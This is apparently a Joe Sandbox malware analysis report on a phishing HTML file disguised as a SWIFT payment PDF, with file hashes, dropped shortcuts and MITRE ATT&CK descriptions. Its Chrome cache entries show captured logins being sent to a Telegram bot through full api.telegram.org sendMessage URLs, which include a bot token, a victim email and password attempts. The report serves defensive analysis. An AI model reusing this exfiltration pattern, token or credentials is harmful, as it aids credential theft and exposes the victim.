SHA-512:	12FBDD04B7BE85DD7775388CEC5A90F6C886E5064AA0D1DF526F5B269BBDF7933B7A7FF13CD4D805D1DE8584FC118FAB8236C52286D970F7EA19A042E5E440EA
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....>&w..)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I]Y.H....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y.H....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y.H....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y.H..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.H...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........G..X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 08:06:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.99148975606011
Encrypted:	false
SSDEEP:
MD5:	70547CAB5D32A0D079784163C2678883
SHA1:	B3BECB2F92C62BDAC4C956CE78C358DC703C45CA
SHA-256:	6902204A1DDCEB3F9FF5B427A5642426BAE31CD167DD7D42C46187E9F95E6487
SHA-512:	69A62E2E091EDBC3D015C2B17C72A58EB4917C14250A00B0919C97C6F3C14D8ADCE922AAF95FBB5DD6627F5BFC52AAA61EA51E5663F4741285BF8210B32E2701
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,........)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I]Y.H....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y.H....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y.H....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y.H..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.H...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........G..X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 08:06:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.995227835434705
Encrypted:	false
SSDEEP:
MD5:	7A859F447C9FC2683CFB1DEFB5E6F2D0
SHA1:	9337DAE6840C698D33515A6D3BE046E44F69415D
SHA-256:	CEAF0F50B989D15D7126191C103908463AD61EA80E3A6E730711E823C0F5EB83
SHA-512:	D0F31FC825412904170BAD20C574DE7B4DFC55CCA4DFCC42B01DC09BFC82140DDFBDEA13AF81AECBB6D26864A312DABB83709183586904F96E72CD8AA88CA9D2
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....Sbm..)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I]Y.H....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y.H....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y.H....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y.H..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.H...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........G..X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.854412364583723
Encrypted:	false
SSDEEP:
MD5:	ED93C5FC8EA2AC11587F15C015661840
SHA1:	F39A9259D4C9799421740942AFBD56A091238CF7
SHA-256:	8671D73D46C4FE96720C4D8A160825A44A59FD4F94F7204A1345C16E7D1F31D5
SHA-512:	6E53858E398D7E5CBC5E083389C2F8609E35827FAA5D694BD0C890186E73908F5B48954BEA6F79D4858ED12C8FAB6433285AB25874D3A19F1F66442DDF3F642A
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":3896,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192821,"text":"submission:\nEmail: ir@kghm.com\nPassword: 6666","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	4.860308093087701
Encrypted:	false
SSDEEP:
MD5:	25B220D6D99C45E1BA481330BE73F82B
SHA1:	AA06BEDE7DFD1BB20328DCA38E6806B68817BFF0
SHA-256:	37C229E6D693721B63BC65453465FB407847F5D8296F6B2F6DC0802B0231DE1F
SHA-512:	F0AFE77394A2ADF0EDCC8163E7BF2854611E5376AD5E77FB97FD96851D9904BD51A200E93AAEDE74144D6546F73C63F7B9053EFCC436821A133D67BDA05F0B93
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":3894,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192816,"text":"submission:\nEmail: ir@kghm.com\nPassword: 767676","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	346
Entropy (8bit):	4.863076342869302
Encrypted:	false
SSDEEP:
MD5:	7BDE7640E9E106888B75FA3F4BE69F0F
SHA1:	FECCBCFBA261A02386F9D932DC67F364FFA1F17A
SHA-256:	2CA057560BEEC50A9ED086131E1E13AE910F82182EC9D9AA9FE5C391884605CA
SHA-512:	F985AD7EC2314606887ED82ED4317E066B1196AC83F7FEF13F244D4C0A04DB015CF58D8C22DE0A547F46FD5E01E2790F633AEF78B82DEA11F63B7C5AD9458BB7
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7143837038:AAH8epg67NUbQQ5-xG1EXTWTgi0RzKmUi28/sendMessage?chat_id=7463984269&text=submission%3A%0AEmail%3A%20ir%40kghm.com%0APassword%3A%2077777
Preview:	{"ok":true,"result":{"message_id":3905,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192863,"text":"submission:\nEmail: ir@kghm.com\nPassword: 77777","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	4.844629928862503
Encrypted:	false
SSDEEP:
MD5:	0C7DB13F0A860BEDDEAC67290376B5C3
SHA1:	102953D308A7C8B20EC0B7AC2261D8704D134E62
SHA-256:	3420D3DE2573B0EB808CD75651489C7F46A7C019B20CE1098197E12AE023A32B
SHA-512:	0C3E88B36A2A5D7AD46EFBA386C0D99AE1E87AFDF1533383EC6E5AB3AE7BC74C2B7BCC09960C78C8BBB3FDCB823010505CDAFD72710C1D5E215FFFEA6E2C9E66
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":3910,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192878,"text":"submission:\nEmail: ir@kghm.com\nPassword: 777","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	349
Entropy (8bit):	4.879688323570605
Encrypted:	false
SSDEEP:
MD5:	92DF928BCBFBD9D695EAD5982EA6EEBF
SHA1:	BA5FEC4E824B0E4FD61DE14CE81E3E47944ABC8E
SHA-256:	9E36756B187E742FCF6B4DF9E34C77007E62F3D3838BE67C96A56FF4EC07DF9C
SHA-512:	67157C76D8D091C310E55ED91E4903EE87C4D652393709674B7875F75269D38BB66DC9CDD6ACDF4834FB70695BF11E98C12E13E16994A97E3316A4F1ED22BC23
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7143837038:AAH8epg67NUbQQ5-xG1EXTWTgi0RzKmUi28/sendMessage?chat_id=7463984269&text=submission%3A%0AEmail%3A%20ir%40kghm.com%0APassword%3A%2077766656
Preview:	{"ok":true,"result":{"message_id":3901,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192846,"text":"submission:\nEmail: ir@kghm.com\nPassword: 77766656","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	347
Entropy (8bit):	4.868963820977184
Encrypted:	false
SSDEEP:
MD5:	C3D1CD475C655A17785B0199A1FE70EC
SHA1:	B8E883F7CABFE93C366D8C4F4C707E90EDE6B95D
SHA-256:	0E335E3C5826C3DAD2C108AE8D0CFEC77A8E0BE005472E17CCF8945BD7A07CC1
SHA-512:	F3AA5D1DD64BEC83C8930207D9D8A500A1BBA7684EC128662DBCA5F9102F87D53C05959544512A2966C980316EE0307CBF960689427705108CD51227B885345C
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7143837038:AAH8epg67NUbQQ5-xG1EXTWTgi0RzKmUi28/sendMessage?chat_id=7463984269&text=submission%3A%0AEmail%3A%20ir%40kghm.com%0APassword%3A%20767676
Preview:	{"ok":true,"result":{"message_id":3893,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192815,"text":"submission:\nEmail: ir@kghm.com\nPassword: 767676","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	345
Entropy (8bit):	4.870437093273547
Encrypted:	false
SSDEEP:
MD5:	88946E04A7DAB30BFD1C8AA78BBE047A
SHA1:	4778E0A99FEA729AE06C5FED9ABA21AC679989EB
SHA-256:	99CABC17BAC293B5F4AE7D4740DA9508C2F3C1511BDB2C67665C2C5F2DB91C36
SHA-512:	831595375F861555045A3C12485E6BD65034CD638BE1E5A47237FF2E96D73F02B701D0D97ACCF8D72CFE9F612838E82AD32CDDEF2C6860892F7F32743D699FC6
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7143837038:AAH8epg67NUbQQ5-xG1EXTWTgi0RzKmUi28/sendMessage?chat_id=7463984269&text=submission%3A%0AEmail%3A%20ir%40kghm.com%0APassword%3A%206666
Preview:	{"ok":true,"result":{"message_id":3895,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192820,"text":"submission:\nEmail: ir@kghm.com\nPassword: 6666","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	346
Entropy (8bit):	4.865667663540515
Encrypted:	false
SSDEEP:
MD5:	8042D9B687EFCFF45632BA560CB0E6B7
SHA1:	D73567775231F45A793FCEE446E4C4135E237AF3
SHA-256:	F2D158589825D944E5CB3BB4A88A53F8D7C3DC95CC604DFF39F47036227140A0
SHA-512:	7E14DFB113F78B44BC0F540E297FE77C20A6E4EEE4E530740CC7569EA430AA0E3B397E7FBB1D98213F29835CA765DDB91B4CFD26107F2778E4D38086166C00FD
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":3906,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192865,"text":"submission:\nEmail: ir@kghm.com\nPassword: 77777","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	349
Entropy (8bit):	4.889808226997503
Encrypted:	false
SSDEEP:
MD5:	999E029DCFE6B70C6472B263E5664298
SHA1:	B0F4C6FBDDCE6A0A2D2EA02BEB61C94810A02B01
SHA-256:	924226DDB0A96979E9EE6380368089A57DBF0D6257F2FA0310C5BF3893F2C403
SHA-512:	115F9CA4B8C429216F57269C331A02BD7B6403420632E6FB34C11520F0524AC1E3990B60DDC0FF6A761E8FA4904D3D6C5D7831C990FC2FD8E186A62DF3165052
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":3890,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192805,"text":"submission:\nEmail: ir@kghm.com\nPassword: zryjkoty","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	349
Entropy (8bit):	4.883069457818147
Encrypted:	false
SSDEEP:
MD5:	97F3853F60226D22A26CE7C4FA92DFE9
SHA1:	356DE54139456A427FAF37C1517360296849F359
SHA-256:	27CA4092DD0FC4C894210952EA5D9BE22B89119B6F21053A06EA14295429152E
SHA-512:	995454E57E3225FC5B50D44AD5A912E7E4E25E0153A803B1C8F5554EA889720C4F3834E0D4809EDD8ACD38F152F1A7BF5A000D9F2BCB376D8507629BFB10312D
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":3902,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192847,"text":"submission:\nEmail: ir@kghm.com\nPassword: 77766656","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	346
Entropy (8bit):	4.877704649194794
Encrypted:	false
SSDEEP:
MD5:	E891BE6AA2D041F81CDC27F011CC5272
SHA1:	1BE43BABACC8816A73BECF0086165EAD016E5F3F
SHA-256:	C989382F3C64475F53B6341278D643DF65A45695F6F6C8C130C80CBBD1489337
SHA-512:	8C5107F9AA867A317FE41024E77725428F05F450273ACE0AF96C209AE38AFAA425B340FB62E60FA20AB0C6DC3C94AE5867DCDD4F9FB470AE913B304DC061F34E
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7143837038:AAH8epg67NUbQQ5-xG1EXTWTgi0RzKmUi28/sendMessage?chat_id=7463984269&text=submission%3A%0AEmail%3A%20ir%40kghm.com%0APassword%3A%2055555
Preview:	{"ok":true,"result":{"message_id":3907,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192870,"text":"submission:\nEmail: ir@kghm.com\nPassword: 55555","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	346
Entropy (8bit):	4.875952906718533
Encrypted:	false
SSDEEP:
MD5:	36FC4DFD80ADA7B56E569003060D78B2
SHA1:	453A070DBB642AFCD913C59FB9F690D89300844C
SHA-256:	0D890C085E645CD9803592A768ED5BEB042B7D971D468BF08EE181D2185C7408
SHA-512:	A464FDBDD707BA91013EF95628418D0695C0F952D8C60DA24EC9DC3746BDD23B3393B2B866567DCD5FADDE00583A7F143BC8A5E7174A82C43211CB845967634F
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":3908,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192871,"text":"submission:\nEmail: ir@kghm.com\nPassword: 55555","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	349
Entropy (8bit):	4.878633056424752
Encrypted:	false
SSDEEP:
MD5:	8658F5921B924FB17C6E4461607A98B3
SHA1:	38661F1DD591FB57856A18BED9A23DB12A044633
SHA-256:	BE1565445D69B3AA1ABAEF132B80AFE15F27A0C32092AC353920026B663D0FDF
SHA-512:	F15B585EAE9BCE4CADB9A172C7277A96C07DE53CD96419E502757287CF78E4A2DD667923131192E46688726EB0D661813BD9C5A67A8C5D33F5DB597B491168D9
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7143837038:AAH8epg67NUbQQ5-xG1EXTWTgi0RzKmUi28/sendMessage?chat_id=7463984269&text=submission%3A%0AEmail%3A%20ir%40kghm.com%0APassword%3A%20zryjkoty
Preview:	{"ok":true,"result":{"message_id":3889,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192804,"text":"submission:\nEmail: ir@kghm.com\nPassword: zryjkoty","entities":[{"offset":19,"length":11,"type":"email"}]}}

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	344
Entropy (8bit):	4.842658679971928
Encrypted:	false
SSDEEP:
MD5:	806282548E1D9FBE7D210AC72CE442F0
SHA1:	8042D6CE7D930E455F398CF48281C4744AFAF9A8
SHA-256:	1BF28012E41FFBB6DBA06FAA414A9E51357ABDD96CAAE18FB54EF37A9F5DE024
SHA-512:	DAC040D9B35EB76AF5983305B4AB0A4130751EAA1F38BB61BEE6B22448F8815E556C6687DC9B4B5187350A4C04ECA384D33970C6A825F77F32D12B63BAEBF8E9
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7143837038:AAH8epg67NUbQQ5-xG1EXTWTgi0RzKmUi28/sendMessage?chat_id=7463984269&text=submission%3A%0AEmail%3A%20ir%40kghm.com%0APassword%3A%20777
Preview:	{"ok":true,"result":{"message_id":3909,"from":{"id":7143837038,"is_bot":true,"first_name":"Loveoverall","username":"HasidesBot"},"chat":{"id":7463984269,"first_name":"Emery","username":"emreygolo","type":"private"},"date":1730192877,"text":"submission:\nEmail: ir@kghm.com\nPassword: 777","entities":[{"offset":19,"length":11,"type":"email"}]}}

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	4.9172599336527485
TrID:	HyperText Markup Language (15015/1) 38.98% HyperText Markup Language (12001/1) 31.16% HyperText Markup Language (11501/1) 29.86%
File name:	swift-copy31072024PDF.html
File size:	2'371 bytes
MD5:	21de1eced0bba2c144b3f9a267f95fd7
SHA1:	d08160beca4b007084fc5e9b1df1ce3b44de6e85
SHA256:	6aa352aa8f89d3dbc564639ea5ad6c32b3ab5b248b087dca8d37b483674de47a
SHA512:	5a35acb2c0f4b43d02abc47fac83b9cbed81a4e1f02172ac29230b1c000a274080e363646ddc8f6f704e16e40751e8b502e893efc247ef17a02cd810e31d28be
SSDEEP:	48:tMJRFfNAS/IeiHxQPOYXJJB5GviLBvGV6GMtf:23lNAeKviLUVM5
TLSH:	B641656AE9410C816533F3383BA64208FB96C0630707EA293D5C66AA0FB5D446923FCD
File Content Preview:	<!DOCTYPE html>..<html>..<head>.. <title>continue</title>.. <style>.. body {.. background-color: #3b79db; .. display: flex;.. justify-content: center;.. align-items: center;.. height: 100vh;.. }.... .container {..

File Icon


Icon Hash:	173149cccc490307

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report swift-copy31072024PDF.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Initial Sample

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Static File Info

General

File Icon

Windows Analysis Report
swift-copy31072024PDF.html